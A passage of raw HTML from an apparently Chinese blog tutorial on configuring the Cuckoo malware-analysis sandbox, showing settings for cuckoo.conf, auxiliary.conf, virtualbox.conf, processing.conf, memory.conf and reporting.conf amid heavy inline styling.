style=&quot;--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; --tw-rotate: 0; --tw-skew-x: 0; --tw-skew-y: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-pan-x: ; --tw-pan-y: ; --tw-pinch-zoom: ; --tw-scroll-snap-strictness: proximity; --tw-gradient-from-position: ; --tw-gradient-via-position: ; --tw-gradient-to-position: ; --tw-ordinal: ; --tw-slashed-zero: ; --tw-numeric-figure: ; --tw-numeric-spacing: ; --tw-numeric-fraction: ; --tw-ring-inset: ; --tw-ring-offset-width: 0px; --tw-ring-offset-color: #fff; --tw-ring-color: rgba(59,130,246,.5); --tw-ring-offset-shadow: 0 0 #0000; --tw-ring-shadow: 0 0 #0000; --tw-shadow: 0 0 #0000; --tw-shadow-colored: 0 0 #0000; --tw-blur: ; --tw-brightness: ; --tw-contrast: ; --tw-grayscale: ; --tw-hue-rotate: ; --tw-invert: ; --tw-saturate: ; --tw-sepia: ; --tw-drop-shadow: ; --tw-backdrop-blur: ; --tw-backdrop-brightness: ; --tw-backdrop-contrast: ; --tw-backdrop-grayscale: ; --tw-backdrop-hue-rotate: ; --tw-backdrop-invert: ; --tw-backdrop-opacity: ; --tw-backdrop-saturate: ; --tw-backdrop-sepia: ; --tw-contain-size: ; --tw-contain-layout: ; --tw-contain-paint: ; --tw-contain-style: ; box-sizing: border-box; border: 0px solid rgb(229, 231, 235); font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-feature-settings: normal; font-variation-settings: normal; font-size: 12.6px; padding: 0.2em 0.4em; margin: 0px; text-wrap: wrap; max-height: 400px; overflow-y: hidden;&quot;&gt;&lt;img src=&quot;https://www.yuyuxiang.top/zb_users/upload/2025/05/202505121747031397203821.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;&quot; style=&quot;--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; --tw-rotate: 0; --tw-skew-x: 0; --tw-skew-y: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-pan-x: ; --tw-pan-y: ; --tw-pinch-zoom: ; --tw-scroll-snap-strictness: proximity; --tw-gradient-from-position: ; --tw-gradient-via-position: ; --tw-gradient-to-position: ; --tw-ordinal: ; --tw-slashed-zero: ; --tw-numeric-figure: ; --tw-numeric-spacing: ; --tw-numeric-fraction: ; --tw-ring-inset: ; --tw-ring-offset-width: 0px; --tw-ring-offset-color: #fff; --tw-ring-color: rgba(59,130,246,.5); --tw-ring-offset-shadow: 0 0 #0000; --tw-ring-shadow: 0 0 #0000; --tw-shadow: 0 0 #0000; --tw-shadow-colored: 0 0 #0000; --tw-blur: ; --tw-brightness: ; --tw-contrast: ; --tw-grayscale: ; --tw-hue-rotate: ; --tw-invert: ; --tw-saturate: ; --tw-sepia: ; --tw-drop-shadow: ; --tw-backdrop-blur: ; --tw-backdrop-brightness: ; --tw-backdrop-contrast: ; --tw-backdrop-grayscale: ; --tw-backdrop-hue-rotate: ; --tw-backdrop-invert: ; --tw-backdrop-opacity: ; --tw-backdrop-saturate: ; --tw-backdrop-sepia: ; --tw-contain-size: ; --tw-contain-layout: ; --tw-contain-paint: ; --tw-contain-style: ; box-sizing: border-box; border: 0px solid rgb(229, 231, 235); font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-feature-settings: normal; font-variation-settings: normal; font-size: 12.6px; padding: 0.2em 0.4em; margin: 0px; text-wrap: wrap; max-height: 400px; overflow-y: hidden;&quot;&gt;放在python安装目录下运行&lt;br/&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;&quot; style=&quot;--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; --tw-rotate: 0; --tw-skew-x: 0; --tw-skew-y: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-pan-x: ; --tw-pan-y: ; --tw-pinch-zoom: ; --tw-scroll-snap-strictness: proximity; --tw-gradient-from-position: ; --tw-gradient-via-position: ; --tw-gradient-to-position: ; --tw-ordinal: ; --tw-slashed-zero: ; --tw-numeric-figure: ; --tw-numeric-spacing: ; --tw-numeric-fraction: ; --tw-ring-inset: ; --tw-ring-offset-width: 0px; --tw-ring-offset-color: #fff; --tw-ring-color: rgba(59,130,246,.5); --tw-ring-offset-shadow: 0 0 #0000; --tw-ring-shadow: 0 0 #0000; --tw-shadow: 0 0 #0000; --tw-shadow-colored: 0 0 #0000; --tw-blur: ; --tw-brightness: ; --tw-contrast: ; --tw-grayscale: ; --tw-hue-rotate: ; --tw-invert: ; --tw-saturate: ; --tw-sepia: ; --tw-drop-shadow: ; --tw-backdrop-blur: ; --tw-backdrop-brightness: ; --tw-backdrop-contrast: ; --tw-backdrop-grayscale: ; --tw-backdrop-hue-rotate: ; --tw-backdrop-invert: ; --tw-backdrop-opacity: ; --tw-backdrop-saturate: ; --tw-backdrop-sepia: ; --tw-contain-size: ; --tw-contain-layout: ; --tw-contain-paint: ; --tw-contain-style: ; box-sizing: border-box; border: 0px solid rgb(229, 231, 235); font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-feature-settings: normal; font-variation-settings: normal; font-size: 12.6px; padding: 0.2em 0.4em; margin: 0px; text-wrap: wrap; max-height: 400px; overflow-y: hidden;&quot;&gt;此时开启监听端口，代表成功&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;&quot; style=&quot;--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; --tw-rotate: 0; --tw-skew-x: 0; --tw-skew-y: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-pan-x: ; --tw-pan-y: ; --tw-pinch-zoom: ; --tw-scroll-snap-strictness: proximity; --tw-gradient-from-position: ; --tw-gradient-via-position: ; --tw-gradient-to-position: ; --tw-ordinal: ; --tw-slashed-zero: ; --tw-numeric-figure: ; --tw-numeric-spacing: ; --tw-numeric-fraction: ; --tw-ring-inset: ; --tw-ring-offset-width: 0px; --tw-ring-offset-color: #fff; --tw-ring-color: rgba(59,130,246,.5); --tw-ring-offset-shadow: 0 0 #0000; --tw-ring-shadow: 0 0 #0000; --tw-shadow: 0 0 #0000; --tw-shadow-colored: 0 0 #0000; --tw-blur: ; --tw-brightness: ; --tw-contrast: ; --tw-grayscale: ; --tw-hue-rotate: ; --tw-invert: ; --tw-saturate: ; --tw-sepia: ; --tw-drop-shadow: ; --tw-backdrop-blur: ; --tw-backdrop-brightness: ; --tw-backdrop-contrast: ; --tw-backdrop-grayscale: ; --tw-backdrop-hue-rotate: ; --tw-backdrop-invert: ; --tw-backdrop-opacity: ; --tw-backdrop-saturate: ; --tw-backdrop-sepia: ; --tw-contain-size: ; --tw-contain-layout: ; --tw-contain-paint: ; --tw-contain-style: ; box-sizing: border-box; border: 0px solid rgb(229, 231, 235); font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-feature-settings: normal; font-variation-settings: normal; font-size: 12.6px; padding: 0.2em 0.4em; margin: 0px; text-wrap: wrap; max-height: 400px; overflow-y: hidden;&quot;&gt;&lt;img src=&quot;https://www.yuyuxiang.top/zb_users/upload/2025/05/202505121747032067575254.png&quot; alt=&quot;image.png&quot; width=&quot;557&quot; height=&quot;254&quot; style=&quot;width: 557px; height: 254px;&quot;/&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3 id=&quot;h_433899132_14&quot; data-into-catalog-status=&quot;&quot; style=&quot;font-variant-numeric: inherit; font-variant-east-asian: inherit; font-variant-alternates: inherit; font-variant-position: inherit; font-stretch: inherit; font-size: 1.1em; line-height: 1.5; font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Source Han Sans SC&amp;quot;, &amp;quot;Noto Sans CJK SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; margin: calc(1.90909em) 0px calc(1.27273em); clear: left; color: rgb(25, 27, 31); text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;1.配置cuckoo.conf文件&lt;/h3&gt;&lt;p&gt;&lt;code class=&quot;&quot; style=&quot;--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; --tw-rotate: 0; --tw-skew-x: 0; --tw-skew-y: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-pan-x: ; --tw-pan-y: ; --tw-pinch-zoom: ; --tw-scroll-snap-strictness: proximity; --tw-gradient-from-position: ; --tw-gradient-via-position: ; --tw-gradient-to-position: ; --tw-ordinal: ; --tw-slashed-zero: ; --tw-numeric-figure: ; --tw-numeric-spacing: ; --tw-numeric-fraction: ; --tw-ring-inset: ; --tw-ring-offset-width: 0px; --tw-ring-offset-color: #fff; --tw-ring-color: rgba(59,130,246,.5); --tw-ring-offset-shadow: 0 0 #0000; --tw-ring-shadow: 0 0 #0000; --tw-shadow: 0 0 #0000; --tw-shadow-colored: 0 0 #0000; --tw-blur: ; --tw-brightness: ; --tw-contrast: ; --tw-grayscale: ; --tw-hue-rotate: ; --tw-invert: ; --tw-saturate: ; --tw-sepia: ; --tw-drop-shadow: ; --tw-backdrop-blur: ; --tw-backdrop-brightness: ; --tw-backdrop-contrast: ; --tw-backdrop-grayscale: ; --tw-backdrop-hue-rotate: ; --tw-backdrop-invert: ; --tw-backdrop-opacity: ; --tw-backdrop-saturate: ; --tw-backdrop-sepia: ; --tw-contain-size: ; --tw-contain-layout: ; --tw-contain-paint: ; --tw-contain-style: ; box-sizing: border-box; border: 0px solid rgb(229, 231, 235); font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-feature-settings: normal; font-variation-settings: normal; font-size: 12.6px; padding: 0.2em 0.4em; margin: 0px; text-wrap: wrap; max-height: 400px; overflow-y: hidden;&quot;&gt;所有cuckoo配置文件都位于~/.cuckoo/conf或您的主目录cd .cuckoo/目录中。&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;&quot; style=&quot;--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; --tw-rotate: 0; --tw-skew-x: 0; --tw-skew-y: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-pan-x: ; --tw-pan-y: ; --tw-pinch-zoom: ; --tw-scroll-snap-strictness: proximity; --tw-gradient-from-position: ; --tw-gradient-via-position: ; --tw-gradient-to-position: ; --tw-ordinal: ; --tw-slashed-zero: ; --tw-numeric-figure: ; --tw-numeric-spacing: ; --tw-numeric-fraction: ; --tw-ring-inset: ; --tw-ring-offset-width: 0px; --tw-ring-offset-color: #fff; --tw-ring-color: rgba(59,130,246,.5); --tw-ring-offset-shadow: 0 0 #0000; --tw-ring-shadow: 0 0 #0000; --tw-shadow: 0 0 #0000; --tw-shadow-colored: 0 0 #0000; --tw-blur: ; --tw-brightness: ; --tw-contrast: ; --tw-grayscale: ; --tw-hue-rotate: ; --tw-invert: ; --tw-saturate: ; --tw-sepia: ; --tw-drop-shadow: ; --tw-backdrop-blur: ; --tw-backdrop-brightness: ; --tw-backdrop-contrast: ; --tw-backdrop-grayscale: ; --tw-backdrop-hue-rotate: ; --tw-backdrop-invert: ; --tw-backdrop-opacity: ; --tw-backdrop-saturate: ; --tw-backdrop-sepia: ; --tw-contain-size: ; --tw-contain-layout: ; --tw-contain-paint: ; --tw-contain-style: ; box-sizing: border-box; border: 0px solid rgb(229, 231, 235); font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-feature-settings: normal; font-variation-settings: normal; font-size: 12.6px; padding: 0.2em 0.4em; margin: 0px; text-wrap: wrap; max-height: 400px; overflow-y: hidden;&quot;&gt;配置cuckoo.conf&lt;/code&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sudo&amp;nbsp;nano&amp;nbsp;cuckoo.conf&lt;/pre&gt;&lt;p&gt;&lt;code class=&quot;&quot; style=&quot;--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; --tw-rotate: 0; --tw-skew-x: 0; --tw-skew-y: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-pan-x: ; --tw-pan-y: ; --tw-pinch-zoom: ; --tw-scroll-snap-strictness: proximity; --tw-gradient-from-position: ; --tw-gradient-via-position: ; --tw-gradient-to-position: ; --tw-ordinal: ; --tw-slashed-zero: ; --tw-numeric-figure: ; --tw-numeric-spacing: ; --tw-numeric-fraction: ; --tw-ring-inset: ; --tw-ring-offset-width: 0px; --tw-ring-offset-color: #fff; --tw-ring-color: rgba(59,130,246,.5); --tw-ring-offset-shadow: 0 0 #0000; --tw-ring-shadow: 0 0 #0000; --tw-shadow: 0 0 #0000; --tw-shadow-colored: 0 0 #0000; --tw-blur: ; --tw-brightness: ; --tw-contrast: ; --tw-grayscale: ; --tw-hue-rotate: ; --tw-invert: ; --tw-saturate: ; --tw-sepia: ; --tw-drop-shadow: ; --tw-backdrop-blur: ; --tw-backdrop-brightness: ; --tw-backdrop-contrast: ; --tw-backdrop-grayscale: ; --tw-backdrop-hue-rotate: ; --tw-backdrop-invert: ; --tw-backdrop-opacity: ; --tw-backdrop-saturate: ; --tw-backdrop-sepia: ; --tw-contain-size: ; --tw-contain-layout: ; --tw-contain-paint: ; --tw-contain-style: ; box-sizing: border-box; border: 0px solid rgb(229, 231, 235); font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-feature-settings: normal; font-variation-settings: normal; font-size: 12.6px; padding: 0.2em 0.4em; margin: 0px; text-wrap: wrap; max-height: 400px; overflow-y: hidden;&quot;&gt;&lt;/code&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;version_check&amp;nbsp;=&amp;nbsp;no
machine=virtualbox
memory_dump=yes
[resultserver]
ip=192.168.56.1
port=2042&lt;/pre&gt;&lt;p&gt;&lt;code class=&quot;&quot; style=&quot;--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; --tw-rotate: 0; --tw-skew-x: 0; --tw-skew-y: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-pan-x: ; --tw-pan-y: ; --tw-pinch-zoom: ; --tw-scroll-snap-strictness: proximity; --tw-gradient-from-position: ; --tw-gradient-via-position: ; --tw-gradient-to-position: ; --tw-ordinal: ; --tw-slashed-zero: ; --tw-numeric-figure: ; --tw-numeric-spacing: ; --tw-numeric-fraction: ; --tw-ring-inset: ; --tw-ring-offset-width: 0px; --tw-ring-offset-color: #fff; --tw-ring-color: rgba(59,130,246,.5); --tw-ring-offset-shadow: 0 0 #0000; --tw-ring-shadow: 0 0 #0000; --tw-shadow: 0 0 #0000; --tw-shadow-colored: 0 0 #0000; --tw-blur: ; --tw-brightness: ; --tw-contrast: ; --tw-grayscale: ; --tw-hue-rotate: ; --tw-invert: ; --tw-saturate: ; --tw-sepia: ; --tw-drop-shadow: ; --tw-backdrop-blur: ; --tw-backdrop-brightness: ; --tw-backdrop-contrast: ; --tw-backdrop-grayscale: ; --tw-backdrop-hue-rotate: ; --tw-backdrop-invert: ; --tw-backdrop-opacity: ; --tw-backdrop-saturate: ; --tw-backdrop-sepia: ; --tw-contain-size: ; --tw-contain-layout: ; --tw-contain-paint: ; --tw-contain-style: ; box-sizing: border-box; border: 0px solid rgb(229, 231, 235); font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-feature-settings: normal; font-variation-settings: normal; font-size: 12.6px; padding: 0.2em 0.4em; margin: 0px; text-wrap: wrap; max-height: 400px; overflow-y: hidden;&quot;&gt;&lt;span style=&quot;font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 12.6px; text-wrap: wrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;&quot; style=&quot;--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; --tw-rotate: 0; --tw-skew-x: 0; --tw-skew-y: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-pan-x: ; --tw-pan-y: ; --tw-pinch-zoom: ; --tw-scroll-snap-strictness: proximity; --tw-gradient-from-position: ; --tw-gradient-via-position: ; --tw-gradient-to-position: ; --tw-ordinal: ; --tw-slashed-zero: ; --tw-numeric-figure: ; --tw-numeric-spacing: ; --tw-numeric-fraction: ; --tw-ring-inset: ; --tw-ring-offset-width: 0px; --tw-ring-offset-color: #fff; --tw-ring-color: rgba(59,130,246,.5); --tw-ring-offset-shadow: 0 0 #0000; --tw-ring-shadow: 0 0 #0000; --tw-shadow: 0 0 #0000; --tw-shadow-colored: 0 0 #0000; --tw-blur: ; --tw-brightness: ; --tw-contrast: ; --tw-grayscale: ; --tw-hue-rotate: ; --tw-invert: ; --tw-saturate: ; --tw-sepia: ; --tw-drop-shadow: ; --tw-backdrop-blur: ; --tw-backdrop-brightness: ; --tw-backdrop-contrast: ; --tw-backdrop-grayscale: ; --tw-backdrop-hue-rotate: ; --tw-backdrop-invert: ; --tw-backdrop-opacity: ; --tw-backdrop-saturate: ; --tw-backdrop-sepia: ; --tw-contain-size: ; --tw-contain-layout: ; --tw-contain-paint: ; --tw-contain-style: ; box-sizing: border-box; border: 0px solid rgb(229, 231, 235); font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-feature-settings: normal; font-variation-settings: normal; font-size: 12.6px; padding: 0.2em 0.4em; margin: 0px; text-wrap: wrap; max-height: 400px; overflow-y: hidden;&quot;&gt;&lt;span style=&quot;font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 12.6px; text-wrap: wrap;&quot;&gt;配置auxiliary.conf&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sudo&amp;nbsp;nano&amp;nbsp;auxiliary.conf&lt;/pre&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;[sniffer]
enabled=yes
tcpdump&amp;nbsp;=&amp;nbsp;/usr/sbin/tcpdump&lt;/pre&gt;&lt;p&gt;&lt;span style=&quot;font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 12.6px; text-wrap: wrap;&quot;&gt;配置&lt;/span&gt;&lt;span style=&quot;font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 12.6px; text-wrap: wrap;&quot;&gt;virtualbox.conf&lt;/span&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sudo&amp;nbsp;nano&amp;nbsp;virtualbox.conf&lt;/pre&gt;&lt;p&gt;&lt;code class=&quot;&quot; style=&quot;--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; --tw-rotate: 0; --tw-skew-x: 0; --tw-skew-y: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-pan-x: ; --tw-pan-y: ; --tw-pinch-zoom: ; --tw-scroll-snap-strictness: proximity; --tw-gradient-from-position: ; --tw-gradient-via-position: ; --tw-gradient-to-position: ; --tw-ordinal: ; --tw-slashed-zero: ; --tw-numeric-figure: ; --tw-numeric-spacing: ; --tw-numeric-fraction: ; --tw-ring-inset: ; --tw-ring-offset-width: 0px; --tw-ring-offset-color: #fff; --tw-ring-color: rgba(59,130,246,.5); --tw-ring-offset-shadow: 0 0 #0000; --tw-ring-shadow: 0 0 #0000; --tw-shadow: 0 0 #0000; --tw-shadow-colored: 0 0 #0000; --tw-blur: ; --tw-brightness: ; --tw-contrast: ; --tw-grayscale: ; --tw-hue-rotate: ; --tw-invert: ; --tw-saturate: ; --tw-sepia: ; --tw-drop-shadow: ; --tw-backdrop-blur: ; --tw-backdrop-brightness: ; --tw-backdrop-contrast: ; --tw-backdrop-grayscale: ; --tw-backdrop-hue-rotate: ; --tw-backdrop-invert: ; --tw-backdrop-opacity: ; --tw-backdrop-saturate: ; --tw-backdrop-sepia: ; --tw-contain-size: ; --tw-contain-layout: ; --tw-contain-paint: ; --tw-contain-style: ; box-sizing: border-box; border: 0px solid rgb(229, 231, 235); font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-feature-settings: normal; font-variation-settings: normal; font-size: 12.6px; padding: 0.2em 0.4em; margin: 0px; text-wrap: wrap; max-height: 400px; overflow-y: hidden;&quot;&gt;&lt;/code&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;&lt;span style=&quot;font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 12.6px; text-wrap: wrap;&quot;&gt;[virtualbox]&lt;br/&gt;machines=cuckoo1&lt;br/&gt;[cuckoo1]&lt;br/&gt;label=cuckoo1&lt;br/&gt;platform=windows&lt;br/&gt;ip=192.168.56.101&lt;br/&gt;snapshot=snapshot1&lt;br/&gt;interface=vboxnet0&lt;br/&gt;&lt;/span&gt;&lt;/pre&gt;&lt;p&gt;&lt;span style=&quot;text-wrap: wrap; font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 12.6px;&quot;&gt;配置&amp;nbsp;processing.conf&lt;/span&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sudo&amp;nbsp;nano&amp;nbsp;processing.conf&lt;/pre&gt;&lt;p&gt;&lt;code class=&quot;&quot; style=&quot;--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; --tw-rotate: 0; --tw-skew-x: 0; --tw-skew-y: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-pan-x: ; --tw-pan-y: ; --tw-pinch-zoom: ; --tw-scroll-snap-strictness: proximity; --tw-gradient-from-position: ; --tw-gradient-via-position: ; --tw-gradient-to-position: ; --tw-ordinal: ; --tw-slashed-zero: ; --tw-numeric-figure: ; --tw-numeric-spacing: ; --tw-numeric-fraction: ; --tw-ring-inset: ; --tw-ring-offset-width: 0px; --tw-ring-offset-color: #fff; --tw-ring-color: rgba(59,130,246,.5); --tw-ring-offset-shadow: 0 0 #0000; --tw-ring-shadow: 0 0 #0000; --tw-shadow: 0 0 #0000; --tw-shadow-colored: 0 0 #0000; --tw-blur: ; --tw-brightness: ; --tw-contrast: ; --tw-grayscale: ; --tw-hue-rotate: ; --tw-invert: ; --tw-saturate: ; --tw-sepia: ; --tw-drop-shadow: ; --tw-backdrop-blur: ; --tw-backdrop-brightness: ; --tw-backdrop-contrast: ; --tw-backdrop-grayscale: ; --tw-backdrop-hue-rotate: ; --tw-backdrop-invert: ; --tw-backdrop-opacity: ; --tw-backdrop-saturate: ; --tw-backdrop-sepia: ; --tw-contain-size: ; --tw-contain-layout: ; --tw-contain-paint: ; --tw-contain-style: ; box-sizing: border-box; border: 0px solid rgb(229, 231, 235); font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-feature-settings: normal; font-variation-settings: normal; font-size: 12.6px; padding: 0.2em 0.4em; margin: 0px; text-wrap: wrap; max-height: 400px; overflow-y: hidden;&quot;&gt;&lt;/code&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;&lt;span style=&quot;font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 12.6px; text-wrap: wrap;&quot;&gt;[memory]&lt;br/&gt;enabled=yes&lt;br/&gt;&lt;/span&gt;&lt;/pre&gt;&lt;p&gt;&lt;span style=&quot;text-wrap: wrap; font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 12.6px;&quot;&gt;配置&lt;/span&gt;&lt;span style=&quot;text-wrap: wrap; font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 12.6px;&quot;&gt;memory.conf&lt;/span&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sudo&amp;nbsp;nano&amp;nbsp;memory.conf&lt;/pre&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;[basic]
guest_profile=WinXPSP2x86&lt;/pre&gt;&lt;p&gt;配置reporting.conf&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sudo&amp;nbsp;nano&amp;nbsp;reporting.conf&lt;/pre&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;[singlefile]（需要确保启用report.html）
enabled=yes
[mongodb]
enabled=yes&lt;/pre&gt;&lt;h4&gt;&lt;code class=&quot;&quot; style=&quot;--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; --tw-rotate: 0; --tw-skew-x: 0; --tw-skew-y: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-pan-x: ; --tw-pan-y: ; --tw-pinch-zoom: ; --tw-scroll-snap-strictness: proximity; --tw-gradient-from-position: ; --tw-gradient-via-position: ; --tw-gradient-to-position: ; --tw-ordinal: ; --tw-slashed-zero: ; --tw-numeric-figure: ; --tw-numeric-spacing: ; --tw-numeric-fraction: ; --tw-ring-inset: ; --tw-ring-offset-width: 0px; --tw-ring-offset-color: #fff; --tw-ring-color: rgba(59,130,246,.5); --tw-ring-offset-shadow: 0 0 #0000; --tw-ring-shadow: 0 0 #0000; --tw-shadow: 0 0 #0000; --tw-shadow-colored: 0 0 #0000; --tw-blur: ; --tw-brightness: ; --tw-contrast: ; --tw-grayscale: ; --tw-hue-rotate: ; --tw-invert: ; --tw-saturate: ; --tw-sepia: ; --tw-drop-shadow: ; --tw-backdrop-blur: ; --tw-backdrop-brightness: ; --tw-backdrop-contrast: ; --tw-backdrop-grayscale: ; --tw-backdrop-hue-rotate: ; --tw-backdrop-invert: ; --tw-backdrop-opacity: ; --tw-backdrop-saturate: ; --tw-backdrop-sepia: ; --tw-contain-size: ; --tw-contain-layout: ; --tw-contain-paint: ; --tw-contain-style: ; box-sizing: border-box; border: 0px solid rgb(229, 231, 235); font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-feature-settings: normal; font-variation-settings: normal; font-size: 12.6px; padding: 0.2em 0.4em; margin: 0px; text-wrap: wrap; max-height: 400px; overflow-y: hidden;&quot;&gt;启动&lt;/code&gt;&lt;/h4&gt;&lt;p&gt;&lt;code class=&quot;&quot; style=&quot;--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; --tw-rotate: 0; --tw-skew-x: 0; --tw-skew-y: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-pan-x: ; --tw-pan-y: ; --tw-pinch-zoom: ; --tw-scroll-snap-strictness: proximity; --tw-gradient-from-position: ; --tw-gradient-via-position: ; --tw-gradient-to-position: ; --tw-ordinal: ; --tw-slashed-zero: ; --tw-numeric-figure: ; --tw-numeric-spacing: ; --tw-numeric-fraction: ; --tw-ring-inset: ; --tw-ring-offset-width: 0px; --tw-ring-offset-color: #fff; --tw-ring-color: rgba(59,130,246,.5); --tw-ring-offset-shadow: 0 0 #0000; --tw-ring-shadow: 0 0 #0000; --tw-shadow: 0 0 #0000; --tw-shadow-colored: 0 0 #0000; --tw-blur: ; --tw-brightness: ; --tw-contrast: ; --tw-grayscale: ; --tw-hue-rotate: ; --tw-invert: ; --tw-saturate: ; --tw-sepia: ; --tw-drop-shadow: ; 